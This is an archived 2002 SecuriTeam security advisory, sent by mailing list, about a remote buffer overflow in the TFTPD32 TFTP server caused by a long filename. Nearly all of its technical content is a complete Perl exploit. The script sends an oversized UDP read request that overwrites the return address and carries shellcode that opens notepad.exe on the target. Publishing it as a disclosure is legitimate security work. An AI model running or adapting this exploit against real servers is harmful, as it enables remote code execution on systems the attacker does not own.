[NT] TFTPD32 Buffer Overflow Vulnerability (Long filename)

From: support@securiteam.com
Date: 11/17/02

  • Next message: support@securiteam.com: "[REVS] Vulnerabilities in Your Code and Advanced Buffer Overflows" 
    From: support@securiteam.com
To: list@securiteam.com
Date: 17 Nov 2002 22:14:16 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      TFTPD32 Buffer Overflow Vulnerability (Long filename)
    ------------------------------------------------------------------------

    SUMMARY

     <http://tftpd32.jounin.net> TFTPD32 is a Freeware TFTP server for Windows
    9x/NT/XP. It provides an implementation of the TFTPv2 protocol (specified
    in the RFC 1350).

    A vulnerability in the product allows remote attackers to cause the
    product to execute arbitrary code.

    DETAILS

    Vulnerable systems:
     * TFTP32 version 2.21 and prior

    Immune systems:
     * TFTP32 version 2.50.2

    Exploit:
    #!/usr/bin/perl
    #TFTP Server remote Buffer Overflow
    use IO::Socket;
    $host = "192.168.1.53";
    $port = "69";
    $data = "A";

    #$buf .= "\x00\x02"; # Send ---- Choose one
    $buf .= "\x00\x01"; # Recieve

    $buf .= "A";
    $num = "116";
    $buf .= $data x $num;
    $buf .= ".";
    $num = "140"; # EIP section
    $buf .= $data x $num;

    $address = "\xFF\xFF\xFF\xFF";
    $buf .= $address;

    $egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
    $egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
    $egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
    $egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
    $egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
    $egg .= "notepad.exe";

    $egg .= "\x90\x90\x90\x90\x90\x90";
    $buf .= $egg;

    $buf .= "\x00binary\x00";

    $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
    $@\n";
    $ipaddr = inet_aton($host) || $host;
    $portaddr = sockaddr_in($port, $ipaddr);
    send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
    $!\n";
    print "Now, '$host' should open up a notepad\n";

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:expert@securiteam.com>
    SecurITeam Experts.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

    Relevant Pages